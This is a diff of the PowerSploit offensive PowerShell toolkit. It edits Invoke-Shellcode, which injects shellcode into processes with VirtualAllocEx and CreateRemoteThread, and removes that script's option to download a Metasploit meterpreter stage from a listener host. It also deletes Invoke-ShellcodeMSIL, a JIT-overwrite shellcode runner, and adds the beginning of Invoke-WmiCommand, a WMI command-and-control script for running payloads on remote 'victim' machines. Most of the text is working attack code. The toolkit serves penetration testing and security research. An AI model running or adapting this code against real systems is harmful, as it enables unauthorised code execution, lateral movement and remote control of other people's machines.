0x90 (NOP), 0xC3 (RET) Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit! - -.EXAMPLE - -C:\PS> Invoke-Shellcode -ListMetasploitPayloads - -Payloads --------- -windows/meterpreter/reverse_http -windows/meterpreter/reverse_https - -.NOTES - -Use the '-Verbose' option to print detailed information. - -Place your generated shellcode in $Shellcode32 and $Shellcode64 variables or pass it in as a byte array via the '-Shellcode' parameter - -Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/ - -.LINK - -http://www.exploit-monday.com #> -[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param ( - [ValidateNotNullOrEmpty()] - [UInt16] - $ProcessID, - - [Parameter( ParameterSetName = 'RunLocal' )] - [ValidateNotNullOrEmpty()] - [Byte[]] - $Shellcode, - - [Parameter( ParameterSetName = 'Metasploit' )] - [ValidateSet( 'windows/meterpreter/reverse_http', - 'windows/meterpreter/reverse_https', - IgnoreCase = $True )] - [String] - $Payload = 'windows/meterpreter/reverse_http', - - [Parameter( ParameterSetName = 'ListPayloads' )] - [Switch] - $ListMetasploitPayloads, - - [Parameter( Mandatory = $True, - ParameterSetName = 'Metasploit' )] - [ValidateNotNullOrEmpty()] - [String] - $Lhost = '127.0.0.1', - - [Parameter( Mandatory = $True, - ParameterSetName = 'Metasploit' )] - [ValidateRange( 1,65535 )] - [Int] - $Lport = 8443, - - [Parameter( ParameterSetName = 'Metasploit' )] - [ValidateNotNull()] - [String] - $UserAgent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)', - - [Switch] - $Force = $False -) + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [CmdletBinding( DefaultParameterSetName = 'RunLocal', ConfirmImpact = 'High')] + Param ( + [ValidateNotNullOrEmpty()] + [UInt16] + $ProcessID, + + [Parameter( ParameterSetName = 'RunLocal' )] + [ValidateNotNullOrEmpty()] + [Byte[]] + $Shellcode, + + [Switch] + $Force = $False + ) Set-StrictMode -Version 2.0 - - # List all available Metasploit payloads and exit the function - if ($PsCmdlet.ParameterSetName -eq 'ListPayloads') - { - $AvailablePayloads = (Get-Command Invoke-Shellcode).Parameters['Payload'].Attributes | - Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]} - - foreach ($Payload in $AvailablePayloads.ValidValues) - { - New-Object PSObject -Property @{ Payloads = $Payload } - } - - Return - } if ( $PSBoundParameters['ProcessID'] ) { @@ -207,17 +86,17 @@ http://www.exploit-monday.com # This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null } - + function Local:Get-DelegateType { Param ( [OutputType([Type])] - + [Parameter( Position = 0)] [Type[]] $Parameters = (New-Object Type[](0)), - + [Parameter( Position = 1 )] [Type] $ReturnType = [Void] @@ -232,7 +111,7 @@ http://www.exploit-monday.com $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) $MethodBuilder.SetImplementationFlags('Runtime, Managed') - + Write-Output $TypeBuilder.CreateType() } @@ -241,11 +120,11 @@ http://www.exploit-monday.com Param ( [OutputType([IntPtr])] - + [Parameter( Position = 0, Mandatory = $True )] [String] $Module, - + [Parameter( Position = 1, Mandatory = $True )] [String] $Procedure @@ -262,7 +141,7 @@ http://www.exploit-monday.com $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) $tmpPtr = New-Object IntPtr $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) - + # Return the address of the function Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) } @@ -277,12 +156,12 @@ http://www.exploit-monday.com $LittleEndianByteArray = New-Object Byte[](0) $Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } } [System.Array]::Reverse($LittleEndianByteArray) - + Write-Output $LittleEndianByteArray } - + $CallStub = New-Object Byte[](0) - + if ($IntSizePtr -eq 8) { [Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode @@ -303,7 +182,7 @@ http://www.exploit-monday.com $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread $CallStub += 0xFF,0xD0 # CALL EAX } - + Write-Output $CallStub } @@ -311,7 +190,7 @@ http://www.exploit-monday.com { # Open a handle to the process you want to inject into $hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF) - + if (!$hProcess) { Throw "Unable to open a process handle for PID: $ProcessID" @@ -319,14 +198,14 @@ http://www.exploit-monday.com $IsWow64 = $false - if ($64bitCPU) # Only perform theses checks if CPU is 64-bit + if ($64bitOS) # Only perform theses checks if CPU is 64-bit { - # Determine is the process specified is 32 or 64 bit + # Determine if the process specified is 32 or 64 bit $IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null - + if ((!$IsWow64) -and $PowerShell32bit) { - Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.' + Throw 'Shellcode injection targeting a 64-bit process from 32-bit PowerShell is not supported. Use the 64-bit version of Powershell if you want this to work.' } elseif ($IsWow64) # 32-bit Wow64 process { @@ -334,7 +213,7 @@ http://www.exploit-monday.com { Throw 'No shellcode was placed in the $Shellcode32 variable!' } - + $Shellcode = $Shellcode32 Write-Verbose 'Injecting into a Wow64 process.' Write-Verbose 'Using 32-bit shellcode.' @@ -345,7 +224,7 @@ http://www.exploit-monday.com { Throw 'No shellcode was placed in the $Shellcode64 variable!' } - + $Shellcode = $Shellcode64 Write-Verbose 'Using 64-bit shellcode.' } @@ -356,19 +235,19 @@ http://www.exploit-monday.com { Throw 'No shellcode was placed in the $Shellcode32 variable!' } - + $Shellcode = $Shellcode32 Write-Verbose 'Using 32-bit shellcode.' } # Reserve and commit enough memory in remote process to hold the shellcode $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) - + if (!$RemoteMemAddr) { Throw "Unable to allocate shellcode memory in PID: $ProcessID" } - + Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))" # Copy shellcode into the previously allocated memory @@ -381,25 +260,25 @@ http://www.exploit-monday.com { # Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread. $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32 - + Write-Verbose 'Emitting 32-bit assembly call stub.' } else { # Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread. $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64 - + Write-Verbose 'Emitting 64-bit assembly call stub.' } # Allocate inline assembly stub $RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX) - + if (!$RemoteStubAddr) { Throw "Unable to allocate thread call stub memory in PID: $ProcessID" } - + Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))" # Write 32-bit assembly stub to remote process memory space @@ -407,7 +286,7 @@ http://www.exploit-monday.com # Execute shellcode as a remote thread $ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero) - + if (!$ThreadHandle) { Throw "Unable to launch remote thread in PID: $ProcessID" @@ -427,7 +306,7 @@ http://www.exploit-monday.com Throw 'No shellcode was placed in the $Shellcode32 variable!' return } - + $Shellcode = $Shellcode32 Write-Verbose 'Using 32-bit shellcode.' } @@ -438,36 +317,36 @@ http://www.exploit-monday.com Throw 'No shellcode was placed in the $Shellcode64 variable!' return } - + $Shellcode = $Shellcode64 Write-Verbose 'Using 64-bit shellcode.' } - + # Allocate RWX memory for the shellcode $BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) if (!$BaseAddress) { Throw "Unable to allocate shellcode memory in PID: $ProcessID" } - + Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))" # Copy shellcode to RWX buffer [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length) - + # Get address of ExitThread function $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread - + if ($PowerShell32bit) { $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32 - + Write-Verbose 'Emitting 32-bit assembly call stub.' } else { $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64 - + Write-Verbose 'Emitting 64-bit assembly call stub.' } @@ -477,7 +356,7 @@ http://www.exploit-monday.com { Throw "Unable to allocate thread call stub." } - + Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))" # Copy call stub to RWX buffer @@ -492,7 +371,7 @@ http://www.exploit-monday.com # Wait for shellcode thread to terminate $WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null - + $VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) $VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) @@ -501,16 +380,30 @@ http://www.exploit-monday.com # A valid pointer to IsWow64Process will be returned if CPU is 64-bit $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process - if ($IsWow64ProcessAddr) - { - $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) - $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) - - $64bitCPU = $true + + $AddressWidth = $null + + try { + $AddressWidth = @(Get-WmiObject -Query 'SELECT AddressWidth FROM Win32_Processor')[0] | Select-Object -ExpandProperty AddressWidth + } catch { + throw 'Unable to determine OS processor address width.' } - else - { - $64bitCPU = $false + + switch ($AddressWidth) { + '32' { + $64bitOS = $False + } + + '64' { + $64bitOS = $True + + $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) + $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) + } + + default { + throw 'Invalid OS address width detected.' + } } if ([IntPtr]::Size -eq 4) @@ -522,94 +415,7 @@ http://www.exploit-monday.com $PowerShell32bit = $false } - if ($PsCmdlet.ParameterSetName -eq 'Metasploit') - { - if (!$PowerShell32bit) { - # The currently supported Metasploit payloads are 32-bit. This block of code implements the logic to execute this script from 32-bit PowerShell - # Get this script's contents and pass it to 32-bit powershell with the same parameters passed to this function - - # Pull out just the content of the this script's invocation. - $RootInvocation = $MyInvocation.Line - - $Response = $True - - if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you want to launch the payload from x86 Powershell?", - "Attempt to execute 32-bit shellcode from 64-bit Powershell. Note: This process takes about one minute. Be patient! You will also see some artifacts of the script loading in the other process." ) ) ) { } - - if ( !$Response ) - { - # User opted not to launch the 32-bit payload from 32-bit PowerShell. Exit function - Return - } - - # Since the shellcode will run in a noninteractive instance of PowerShell, make sure the -Force switch is included so that there is no warning prompt. - if ($MyInvocation.BoundParameters['Force']) - { - Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation" - $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation)`n`n" - } - else - { - Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation -Force" - $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation) -Force`n`n" - } - - $CommandBytes = [System.Text.Encoding]::Ascii.GetBytes($Command) - $EncodedCommand = [Convert]::ToBase64String($CommandBytes) - - $Execute = '$Command' + " | $Env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command -" - Invoke-Expression -Command $Execute | Out-Null - - # Exit the script since the shellcode will be running from x86 PowerShell - Return - } - - $Response = $True - - if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?", - "About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { } - - if ( !$Response ) - { - # User opted not to carry out download of Metasploit payload. Exit function - Return - } - - switch ($Payload) - { - 'windows/meterpreter/reverse_http' - { - $SSL = '' - } - - 'windows/meterpreter/reverse_https' - { - $SSL = 's' - # Accept invalid certificates - [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true } - } - } - - # Meterpreter expects 'INITM' in the URI in order to initiate stage 0. Awesome authentication, huh? - $Request = "http$($SSL)://$($Lhost):$($Lport)/INITM" - Write-Verbose "Requesting meterpreter payload from $Request" - - $Uri = New-Object Uri($Request) - $WebClient = New-Object System.Net.WebClient - $WebClient.Headers.Add('user-agent', "$UserAgent") - - try - { - [Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri) - } - catch - { - Throw "$($Error[0].Exception.InnerException.InnerException.Message)" - } - [Byte[]] $Shellcode64 = $Shellcode32 - - } - elseif ($PSBoundParameters['Shellcode']) + if ($PSBoundParameters['Shellcode']) { # Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets # the correct architechture - x86 vs. x64. This script has no way to validate what you provide it. @@ -676,9 +482,9 @@ http://www.exploit-monday.com $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) - + Write-Verbose "Injecting shellcode into PID: $ProcessId" - + if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', "Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) ) { @@ -700,14 +506,13 @@ http://www.exploit-monday.com $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int]) $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) - + Write-Verbose "Injecting shellcode into PowerShell" - + if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', "Injecting shellcode into the running PowerShell process!" ) ) { Inject-LocalShellcode } } - } diff --git a/CodeExecution/Invoke-ShellcodeMSIL.ps1 b/CodeExecution/Invoke-ShellcodeMSIL.ps1 deleted file mode 100644 index 4123d06a..00000000 --- a/CodeExecution/Invoke-ShellcodeMSIL.ps1 +++ /dev/null @@ -1,267 +0,0 @@ -function Invoke-ShellcodeMSIL -{ -<# -.SYNOPSIS - - Execute shellcode within the context of the running PowerShell process without making any Win32 function calls. - - PowerSploit Function: Invoke-ShellcodeMSIL - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - -.DESCRIPTION - - Invoke-ShellcodeMSIL executes shellcode by using specially crafted MSIL opcodes to overwrite a JITed dummy method. This technique is compelling because unlike Invoke-Shellcode, Invoke-ShellcodeMSIL doesn't call any Win32 functions. - -.PARAMETER Shellcode - - Specifies the shellcode to be executed. - -.EXAMPLE - - C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3) - - Description - ----------- - Executes the following instructions - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET) - Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit! - -.NOTES - - Your shellcode must end in a ret (0xC3) and maintain proper stack alignment or PowerShell will crash! - - Use the '-Verbose' option to print detailed information. - -.LINK - - http://www.exploit-monday.com -#> - - [CmdletBinding()] Param ( - [Parameter( Mandatory = $True )] - [ValidateNotNullOrEmpty()] - [Byte[]] - $Shellcode - ) - - function Get-MethodAddress - { - [CmdletBinding()] Param ( - [Parameter(Mandatory = $True, ValueFromPipeline = $True)] - [System.Reflection.MethodInfo] - $MethodInfo - ) - - if ($MethodInfo.MethodImplementationFlags -eq 'InternalCall') - { - Write-Warning "$($MethodInfo.Name) is an InternalCall method. These methods always point to the same address." - } - - try { $Type = [MethodLeaker] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined - { - if ([IntPtr]::Size -eq 4) { $ReturnType = [UInt32] } else { $ReturnType = [UInt64] } - - $Domain = [AppDomain]::CurrentDomain - $DynAssembly = New-Object System.Reflection.AssemblyName('MethodLeakAssembly') - # Assemble in memory - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('MethodLeakModule') - $TypeBuilder = $ModuleBuilder.DefineType('MethodLeaker', [System.Reflection.TypeAttributes]::Public) - # Declaration of the LeakMethod method - $MethodBuilder = $TypeBuilder.DefineMethod('LeakMethod', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, $ReturnType, $null) - $Generator = $MethodBuilder.GetILGenerator() - - # Push unmanaged pointer to MethodInfo onto the evaluation stack - $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldftn, $MethodInfo) - $Generator.Emit([System.Reflection.Emit.OpCodes]::Ret) - - # Assemble everything - $Type = $TypeBuilder.CreateType() - } - - $Method = $Type.GetMethod('LeakMethod') - - try - { - # Call the method and return its JITed address - $Address = $Method.Invoke($null, @()) - - Write-Output (New-Object IntPtr -ArgumentList $Address) - } - catch [System.Management.Automation.MethodInvocationException] - { - Write-Error "$($MethodInfo.Name) cannot return an unmanaged address." - } - } - -#region Define the method that will perform the overwrite - try { $SmasherType = [MethodSmasher] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined - { - $Domain = [AppDomain]::CurrentDomain - $DynAssembly = New-Object System.Reflection.AssemblyName('MethodSmasher') - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) - $Att = New-Object System.Security.AllowPartiallyTrustedCallersAttribute - $Constructor = $Att.GetType().GetConstructors()[0] - $ObjectArray = New-Object System.Object[](0) - $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray) - $AssemblyBuilder.SetCustomAttribute($AttribBuilder) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('MethodSmasher') - $ModAtt = New-Object System.Security.UnverifiableCodeAttribute - $Constructor = $ModAtt.GetType().GetConstructors()[0] - $ObjectArray = New-Object System.Object[](0) - $ModAttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray) - $ModuleBuilder.SetCustomAttribute($ModAttribBuilder) - $TypeBuilder = $ModuleBuilder.DefineType('MethodSmasher', [System.Reflection.TypeAttributes]::Public) - $Params = New-Object System.Type[](3) - $Params[0] = [IntPtr] - $Params[1] = [IntPtr] - $Params[2] = [Int32] - $MethodBuilder = $TypeBuilder.DefineMethod('OverwriteMethod', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, $null, $Params) - $Generator = $MethodBuilder.GetILGenerator() - # The following MSIL opcodes are effectively a memcpy - # arg0 = destinationAddr, arg1 = sourceAddr, arg2 = length - $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_0) - $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_1) - $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_2) - $Generator.Emit([System.Reflection.Emit.OpCodes]::Volatile) - $Generator.Emit([System.Reflection.Emit.OpCodes]::Cpblk) - $Generator.Emit([System.Reflection.Emit.OpCodes]::Ret) - - $SmasherType = $TypeBuilder.CreateType() - } - - $OverwriteMethod = $SmasherType.GetMethod('OverwriteMethod') -#endregion - -#region Define the method that we're going to overwrite - try { $Type = [SmashMe] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined - { - $Domain = [AppDomain]::CurrentDomain - $DynAssembly = New-Object System.Reflection.AssemblyName('SmashMe') - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) - $Att = New-Object System.Security.AllowPartiallyTrustedCallersAttribute - $Constructor = $Att.GetType().GetConstructors()[0] - $ObjectArray = New-Object System.Object[](0) - $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray) - $AssemblyBuilder.SetCustomAttribute($AttribBuilder) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SmashMe') - $ModAtt = New-Object System.Security.UnverifiableCodeAttribute - $Constructor = $ModAtt.GetType().GetConstructors()[0] - $ObjectArray = New-Object System.Object[](0) - $ModAttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray) - $ModuleBuilder.SetCustomAttribute($ModAttribBuilder) - $TypeBuilder = $ModuleBuilder.DefineType('SmashMe', [System.Reflection.TypeAttributes]::Public) - $Params = New-Object System.Type[](1) - $Params[0] = [Int] - $MethodBuilder = $TypeBuilder.DefineMethod('OverwriteMe', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, [Int], $Params) - $Generator = $MethodBuilder.GetILGenerator() - $XorValue = 0x41424344 - $Generator.DeclareLocal([Int]) | Out-Null - $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_0) - # The following MSIL opcodes serve two purposes: - # 1) Serves as a dummy XOR function to take up space in memory when it gets jitted - # 2) A series of XOR instructions won't be optimized out. This way, I'll be guaranteed to sufficient space for my shellcode. - foreach ($CodeBlock in 1..100) - { - $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldc_I4, $XorValue) - $Generator.Emit([System.Reflection.Emit.OpCodes]::Xor) - $Generator.Emit([System.Reflection.Emit.OpCodes]::Stloc_0) - $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldloc_0) - $XorValue++ - } - $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldc_I4, $XorValue) - $Generator.Emit([System.Reflection.Emit.OpCodes]::Xor) - $Generator.Emit([System.Reflection.Emit.OpCodes]::Ret) - $Type = $TypeBuilder.CreateType() - } - - $TargetMethod = $Type.GetMethod('OverwriteMe') -#endregion - - # Force the target method to be JITed so that is can be cleanly overwritten - Write-Verbose 'Forcing target method to be JITed...' - - foreach ($Exec in 1..20) - { - $TargetMethod.Invoke($null, @(0x11112222)) | Out-Null - } - - if ( [IntPtr]::Size -eq 4 ) - { - # x86 Shellcode stub - $FinalShellcode = [Byte[]] @(0x60,0xE8,0x04,0,0,0,0x61,0x31,0xC0,0xC3) - <# - 00000000 60 pushad - 00000001 E804000000 call dword 0xa - 00000006 61 popad - 00000007 31C0 xor eax,eax - 00000009 C3 ret - YOUR SHELLCODE WILL BE PLACED HERE... - #> - - Write-Verbose 'Preparing x86 shellcode...' - } - else - { - # x86_64 shellcode stub - $FinalShellcode = [Byte[]] @(0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57, - 0x55,0xE8,0x0D,0x00,0x00,0x00,0x5D,0x41, - 0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x48, - 0x31,0xC0,0xC3) - <# - 00000000 4154 push r12 - 00000002 4155 push r13 - 00000004 4156 push r14 - 00000006 4157 push r15 - 00000008 55 push rbp - 00000009 E80D000000 call dword 0x1b - 0000000E 5D pop rbp - 0000000F 415F pop r15 - 00000011 415E pop r14 - 00000013 415D pop r13 - 00000015 415C pop r12 - 00000017 4831C0 xor rax,rax - 0000001A C3 ret - YOUR SHELLCODE WILL BE PLACED HERE... - #> - - Write-Verbose 'Preparing x86_64 shellcode...' - } - - # Append user-provided shellcode. - $FinalShellcode += $Shellcode - - # Allocate pinned memory for our shellcode - $ShellcodeAddress = [Runtime.InteropServices.Marshal]::AllocHGlobal($FinalShellcode.Length) - - Write-Verbose "Allocated shellcode at 0x$($ShellcodeAddress.ToString("X$([IntPtr]::Size*2)"))." - - # Copy the original shellcode bytes into the pinned, unmanaged memory. - # Note: this region of memory if marked PAGE_READWRITE - [Runtime.InteropServices.Marshal]::Copy($FinalShellcode, 0, $ShellcodeAddress, $FinalShellcode.Length) - - $TargetMethodAddress = [IntPtr] (Get-MethodAddress $TargetMethod) - - Write-Verbose "Address of the method to be overwritten: 0x$($TargetMethodAddress.ToString("X$([IntPtr]::Size*2)"))" - Write-Verbose 'Overwriting dummy method with the shellcode...' - - $Arguments = New-Object Object[](3) - $Arguments[0] = $TargetMethodAddress - $Arguments[1] = $ShellcodeAddress - $Arguments[2] = $FinalShellcode.Length - - # Overwrite the dummy method with the shellcode opcodes - $OverwriteMethod.Invoke($null, $Arguments) - - Write-Verbose 'Executing shellcode...' - - # 'Invoke' our shellcode >D - $ShellcodeReturnValue = $TargetMethod.Invoke($null, @(0x11112222)) - - if ($ShellcodeReturnValue -eq 0) - { - Write-Verbose 'Shellcode executed successfully!' - } -} \ No newline at end of file diff --git a/CodeExecution/Invoke-WmiCommand.ps1 b/CodeExecution/Invoke-WmiCommand.ps1 new file mode 100644 index 00000000..9f03f9b1 --- /dev/null +++ b/CodeExecution/Invoke-WmiCommand.ps1 @@ -0,0 +1,362 @@ +function Invoke-WmiCommand { +<# +.SYNOPSIS + +Executes a PowerShell ScriptBlock on a target computer using WMI as a +pure C2 channel. + +Author: Matthew Graeber +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Invoke-WmiCommand executes a PowerShell ScriptBlock on a target +computer using WMI as a pure C2 channel. It does this by using the +StdRegProv WMI registry provider methods to store a payload into a +registry value. The command is then executed on the victim system and +the output is stored in another registry value that is then retrieved +remotely. + +.PARAMETER Payload + +Specifies the payload to be executed on the remote system. + +.PARAMETER RegistryKeyPath + +Specifies the registry key where the payload and payload output will +be stored. + +.PARAMETER RegistryPayloadValueName + +Specifies the registry value name where the payload will be stored. + +.PARAMETER RegistryResultValueName + +Specifies the registry value name where the payload output will be +stored. + +.PARAMETER ComputerName + +Runs the command on the specified computers. The default is the local +computer. + +Type the NetBIOS name, an IP address, or a fully qualified domain +name of one or more computers. To specify the local computer, type +the computer name, a dot (.), or "localhost". + +This parameter does not rely on Windows PowerShell remoting. You can +use the ComputerName parameter even if your computer is not +configured to run remote commands. + +.PARAMETER Credential + +Specifies a user account that has permission to perform this action. +The default is the current user. Type a user name, such as "User01", +"Domain01\User01", or User@Contoso.com. Or, enter a PSCredential +object, such as an object that is returned by the Get-Credential +cmdlet. When you type a user name, you will be prompted for a +password. + +.PARAMETER Impersonation + +Specifies the impersonation level to use. Valid values are: + +0: Default (Reads the local registry for the default impersonation level, which is usually set to "3: Impersonate".) + +1: Anonymous (Hides the credentials of the caller.) + +2: Identify (Allows objects to query the credentials of the caller.) + +3: Impersonate (Allows objects to use the credentials of the caller.) + +4: Delegate (Allows objects to permit other objects to use the credentials of the caller.) + +.PARAMETER Authentication + +Specifies the authentication level to be used with the WMI connection. Valid values are: + +-1: Unchanged + +0: Default + +1: None (No authentication in performed.) + +2: Connect (Authentication is performed only when the client establishes a relationship with the application.) + +3: Call (Authentication is performed only at the beginning of each call when the application receives the request.) + +4: Packet (Authentication is performed on all the data that is received from the client.) + +5: PacketIntegrity (All the data that is transferred between the client and the application is authenticated and verified.) + +6: PacketPrivacy (The properties of the other authentication levels are used, and all the data is encrypted.) + +.PARAMETER EnableAllPrivileges + +Enables all the privileges of the current user before the command +makes the WMI call. + +.PARAMETER Authority + +Specifies the authority to use to authenticate the WMI connection. +You can specify standard NTLM or Kerberos authentication. To use +NTLM, set the authority setting to ntlmdomain:, where + identifies a valid NTLM domain name. To use Kerberos, +specify kerberos:. You cannot include the +authority setting when you connect to the local computer. + +.EXAMPLE + +PS C:\>Invoke-WmiCommand -Payload { if ($True) { 'Do Evil' } } -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1' + +.EXAMPLE + +PS C:\>$Hosts = Get-Content hostnames.txt +PS C:\>$Payload = Get-Content payload.ps1 +PS C:\>$Credential = Get-Credential 'TargetDomain\TargetUser' +PS C:\>$Hosts | Invoke-WmiCommand -Payload $Payload -Credential $Credential + +.EXAMPLE + +PS C:\>$Payload = Get-Content payload.ps1 +PS C:\>Invoke-WmiCommand -Payload $Payload -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1', '10.10.1.2' + +.EXAMPLE + +PS C:/>Invoke-WmiCommand -Payload { 1+3+2+1+1 } -RegistryHive HKEY_LOCAL_MACHINE -RegistryKeyPath 'SOFTWARE\testkey' -RegistryPayloadValueName 'testvalue' -RegistryResultValueName 'testresult' -ComputerName '10.10.1.1' -Credential 'TargetHost\Administrator' -Verbose + +.INPUTS + +System.String[] + +Accepts one or more host names/IP addresses over the pipeline. + 